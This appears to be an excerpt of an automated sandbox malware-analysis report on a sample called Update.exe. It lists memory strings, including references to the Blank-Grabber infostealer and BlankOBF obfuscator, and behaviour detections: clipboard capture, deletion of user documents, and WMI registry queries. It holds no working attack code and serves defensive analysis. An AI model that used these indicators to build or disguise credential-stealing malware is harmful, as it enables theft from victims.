Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F5940000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F59CC000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F59CC000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F59CC000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F5940000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F59CC000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: Update.exe, 00000001.00000003.1670828128.000002D8F3C85000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1671119772.000002D8F3C84000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980381413.000002D8F3BF0000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670077504.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670630928.000002D8F3C62000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: Update.exe, 00000001.00000002.1984550546.000002D8F6680000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-GrabberrV
Source: Update.exe, 00000001.00000003.1677235139.000002D8F60C9000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1675366140.000002D8F6118000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1675005515.000002D8F6685000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1677278888.000002D8F60AF000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1674718416.000002D8F6118000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1677295923.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000007.00000002.1816534052.0000021900408000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/bl
Source: Update.exe, 00000001.00000003.1670828128.000002D8F3C85000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1671119772.000002D8F3C84000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980381413.000002D8F3BF0000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670077504.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670630928.000002D8F3C62000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980953911.000002D8F59CC000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: Update.exe, 00000001.00000003.1670828128.000002D8F3C85000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1671119772.000002D8F3C84000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980381413.000002D8F3BF0000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670077504.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670630928.000002D8F3C62000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: Update.exe, 00000001.00000003.1670828128.000002D8F3C85000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1671119772.000002D8F3C84000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1980381413.000002D8F3BF0000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669709164.000002D8F3C33000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670077504.000002D8F3C86000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1670630928.000002D8F3C62000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1669794541.000002D8F3C96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: Update.exe, 00000001.00000002.1984550546.000002D8F6680000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: Update.exe, 00000001.00000002.1981954787.000002D8F5E19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: Update.exe, 00000001.00000002.1984651792.000002D8F6780000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: Update.exe, 00000001.00000002.1984651792.000002D8F6780000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920n
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6246000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1683237991.000002D8F6313000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1981954787.000002D8F5D80000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1981954787.000002D8F5DDC000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983282257.000002D8F6280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6246000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1683237991.000002D8F6313000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983282257.000002D8F6280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail
Source: Update.exe, 00000001.00000002.1981954787.000002D8F5E19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail/
Source: Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gstatic.com/generate_204
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6080000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: Update.exe, 00000001.00000002.1981954787.000002D8F5DDC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6080000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983282257.000002D8F6280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://json.org
Source: Update.exe, 00000001.00000002.1985801871.000002D8F72E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: Update.exe, 00000001.00000003.1738640436.000002D8F6666000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1744900520.000002D8F666C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.mic
Source: Update.exe, 00000001.00000002.1985801871.000002D8F72E8000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984842868.000002D8F6A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000007.00000002.1894036160.0000021910255000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: Update.exe, 00000001.00000002.1987855894.00007FFDFB65F000.00000040.00000001.01000000.00000004.sdmp String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: Update.exe, 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: Update.exe, 00000000.00000003.1665024233.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: Update.exe, 00000001.00000003.1717583140.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1716289279.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1712251657.000002D8F63F6000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711511210.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1981954787.000002D8F5E19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefox
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Update.exe, 00000001.00000003.1919637730.000002D8F63F8000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1920419269.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1920215342.000002D8F649A000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1979586095.000002D8F649E000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1917979471.000002D8F6460000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984051494.000002D8F649C000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983711343.000002D8F63F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Update.exe, 00000001.00000003.1917759960.000002D8F64B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Update.exe, 00000001.00000003.1919637730.000002D8F63F8000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1920419269.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1920215342.000002D8F649A000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1979586095.000002D8F649E000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1917979471.000002D8F6460000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984051494.000002D8F649C000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983711343.000002D8F63F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Update.exe, 00000001.00000003.1917759960.000002D8F64B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Update.exe, 00000001.00000002.1980381413.000002D8F3BF0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: Update.exe, 00000001.00000002.1981954787.000002D8F5D80000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1981954787.000002D8F5DDC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: Update.exe, 00000001.00000003.1683237991.000002D8F6313000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984651792.000002D8F6780000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: Update.exe, 00000001.00000002.1984746664.000002D8F68A0000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984550546.000002D8F6680000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: Update.exe, 00000001.00000002.1984550546.000002D8F6680000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsD
Source: Update.exe, 00000001.00000002.1984746664.000002D8F68A0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningssm0
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984842868.000002D8F6A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A24000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: Update.exe, 00000000.00000003.1664098813.0000019DCB06D000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000000.00000003.1664098813.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A0C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A24000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: Update.exe, 00000001.00000003.1717583140.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1716289279.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1712251657.000002D8F63F6000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711511210.000002D8F64AE000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984651792.000002D8F6780000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1984842868.000002D8F6A98000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: Update.exe, 00000001.00000003.1707573436.000002D8F64CA000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1708876092.000002D8F637F000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1712251657.000002D8F6380000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Update.exe, 00000001.00000003.1919515036.000002D8F63DA000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1920162550.000002D8F63DA000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983681038.000002D8F63DA000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1978451083.000002D8F63DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1707573436.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1700749260.000002D8F6428000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Update.exe, 00000001.00000003.1697374122.000002D8F6472000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1707573436.000002D8F6472000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1703822090.000002D8F6472000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: Update.exe, 00000001.00000003.1716289279.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1711898974.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1717583140.000002D8F64C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Update.exe, 00000001.00000002.1985801871.000002D8F72D8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1987789006.00007FFDFB2F8000.00000004.00000001.01000000.0000000F.sdmp, Update.exe, 00000001.00000002.1986947251.00007FFDFAF93000.00000004.00000001.01000000.00000010.sdmp String found in binary or memory: https://www.openssl.org/H
Source: Update.exe, 00000000.00000003.1662902865.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1677830684.000002D8F5E51000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1674023060.000002D8F5E51000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1677380903.000002D8F5E51000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1677065242.000002D8F5E51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: Update.exe, 00000001.00000002.1980953911.000002D8F5940000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: Update.exe, 00000001.00000003.1683237991.000002D8F6313000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983282257.000002D8F6280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: Update.exe, 00000001.00000002.1984842868.000002D8F6A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: Update.exe, 00000001.00000002.1983074177.000002D8F6246000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000003.1683237991.000002D8F6313000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000001.00000002.1983282257.000002D8F6280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com/
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Creates a window with clipboard capturing capabilities
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands
barindex
Modifies existing user documents (likely ransomware behavior)
Source: C:\Users\user\Desktop\Update.exe File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?? \Common Files\Desktop\KZWFNRXYKI.mp3 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?? \Common Files\Desktop\UMMBDNEQBN.jpg Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?? \Common Files\Desktop\ONBQCLYSPU.docx Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?? \Common Files\Desktop\HTAGVDFUIE.xlsx Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?? \Common Files\Desktop\NWTVCDUMOB.pdf Jump to behavior
Too many similar processes found
Source: cmd.exe Process created: 51

System Summary
barindex
Very long command line found
Source: C:\Users\user\Desktop\Update.exe Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\Update.exe Process created: Commandline size = 3647 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 3615
Writes or reads registry keys via WMI
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
